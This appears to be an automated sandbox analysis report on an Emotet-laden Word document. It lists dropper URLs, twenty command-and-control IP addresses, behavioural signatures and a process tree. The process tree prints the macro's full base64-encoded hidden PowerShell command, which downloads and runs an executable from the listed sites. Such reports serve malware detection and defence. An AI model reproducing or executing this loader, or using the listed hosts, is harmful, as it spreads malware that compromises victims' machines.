Analysis

  • max time kernel
    24s
  • resource
    win10v191014
  • submitted
    27-01-2020 19:43

General

  • Target

    6173558641d666f3fa423872c42f2fc1acaba79a997382559348c9f1b7740267.doc

  • Sample

    200127-trxy3zyx7x

  • SHA256

    6173558641d666f3fa423872c42f2fc1acaba79a997382559348c9f1b7740267

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://delhisexclinic.com/zds/jUzItNFoNN/

exe.dropper

https://lelangg.online/uydlcvg/xoZAiAes/

exe.dropper

https://usispf.org/wp-admin/vjWaya/

exe.dropper

https://www.sexylady.space/wp-admin/JM/

exe.dropper

https://www.metropolnet.gr/cgi-bin/eP1hbutDbo/

Extracted

Family

emotet

C2

190.6.193.152:8080

200.69.224.73:80

146.255.96.214:443

74.50.51.115:7080

184.172.27.82:8080

68.183.170.114:8080

45.79.95.107:443

190.210.184.138:995

200.58.83.179:80

113.190.254.245:80

181.29.101.13:8080

185.86.148.222:8080

186.200.205.170:80

139.47.135.215:80

62.75.160.178:8080

190.219.149.236:80

190.210.236.139:80

190.100.153.162:443

91.74.175.46:80

175.139.209.3:8080

rsa_pubkey.plain

Signatures

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6173558641d666f3fa423872c42f2fc1acaba79a997382559348c9f1b7740267.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Checks processor information in registry
    • Enumerates system info in registry
    PID:4928
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABBAGYAeQBvAGwAYgBtAG8AcgBsAGoAPQAnAEQAcAB6AGcAbABzAHMAbwBtAGsAaAB2AGgAJwA7ACQASQBiAGsAZQBwAHkAbwBqAGoAYgBvAGYAIAA9ACAAJwA3ADkANwAnADsAJABYAG0AdwBuAGsAawB2AGQAZwBwAHYAPQAnAEsAegB2AGMAYgBsAHUAawB2AGQAbQBpACcAOwAkAEIAegBhAGIAcABhAGwAYQBjAHYAYQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBiAGsAZQBwAHkAbwBqAGoAYgBvAGYAKwAnAC4AZQB4AGUAJwA7ACQAVQByAHMAZABnAGYAeAB0AHkAbgB5AD0AJwBVAHYAegB2AHcAbwB1AGIAbABtAHMAZwAnADsAJABJAHYAeAByAHcAcABxAHcAZABhAGwAZAA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAEwAaQBFAG4AVAA7ACQATABsAG8AYQBsAHoAcwBsAGQAcABxAG0AbAA9ACcAaAB0AHQAcABzADoALwAvAGQAZQBsAGgAaQBzAGUAeABjAGwAaQBuAGkAYwAuAGMAbwBtAC8AegBkAHMALwBqAFUAegBJAHQATgBGAG8ATgBOAC8AKgBoAHQAdABwAHMAOgAvAC8AbABlAGwAYQBuAGcAZwAuAG8AbgBsAGkAbgBlAC8AdQB5AGQAbABjAHYAZwAvAHgAbwBaAEEAaQBBAGUAcwAvACoAaAB0AHQAcABzADoALwAvAHUAcwBpAHMAcABmAC4AbwByAGcALwB3AHAALQBhAGQAbQBpAG4ALwB2AGoAVwBhAHkAYQAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcwBlAHgAeQBsAGEAZAB5AC4AcwBwAGEAYwBlAC8AdwBwAC0AYQBkAG0AaQBuAC8ASgBNAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBtAGUAdAByAG8AcABvAGwAbgBlAHQALgBnAHIALwBjAGcAaQAtAGIAaQBuAC8AZQBQADEAaABiAHUAdABEAGIAbwAvACcALgAiAHMAYABwAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBjAGkAagBmAGoAdwBhAG0AbwBsAD0AJwBWAHIAYQBoAGUAbwB0AHoAcAB2AGgAcAB1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAHEAYwBiAGwAcQBrAHcAbwB1AG0AbABnACAAaQBuACAAJABMAGwAbwBhAGwAegBzAGwAZABwAHEAbQBsACkAewB0AHIAeQB7ACQASQB2AHgAcgB3AHAAcQB3AGQAYQBsAGQALgAiAGQATwB3AGAATgBsAE8AQQBEAEYAYABJAEwARQAiACgAJABPAHEAYwBiAGwAcQBrAHcAbwB1AG0AbABnACwAIAAkAEIAegBhAGIAcABhAGwAYQBjAHYAYQApADsAJABKAGUAegB4AHkAcwByAHEAcABkAD0AJwBXAHUAaQBsAGsAaABwAHkAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABCAHoAYQBiAHAAYQBsAGEAYwB2AGEAKQAuACIAbABgAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIANwA4ADYANwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAYQBgAFIAdAAiACgAJABCAHoAYQBiAHAAYQBsAGEAYwB2AGEAKQA7ACQATwBzAHAAbgByAGcAYgB0AGsAPQAnAFEAaQBvAG8AcQBnAGUAYQBrAGUAJwA7AGIAcgBlAGEAawA7ACQAWABlAGcAawB4AGgAZQBoAGMAeQA9ACcARgBpAGUAegBqAG8AawBpAHoAbQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABXAHcAcQBpAHUAagBhAGEAPQAnAFMAaQBrAHcAZQBsAGYAdgBoACcA
    1⤵
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    PID:4528
    • C:\Users\Admin\797.exe
      "C:\Users\Admin\797.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:4680
      • C:\Users\Admin\797.exe
        --9698d953
        3⤵
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        PID:4744

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\797.exe

  • C:\Users\Admin\797.exe

  • C:\Users\Admin\797.exe

  • memory/4680-8-0x00000000021E0000-0x00000000021F6000-memory.dmp

    Filesize

    88KB

  • memory/4744-10-0x0000000000600000-0x0000000000616000-memory.dmp

    Filesize

    88KB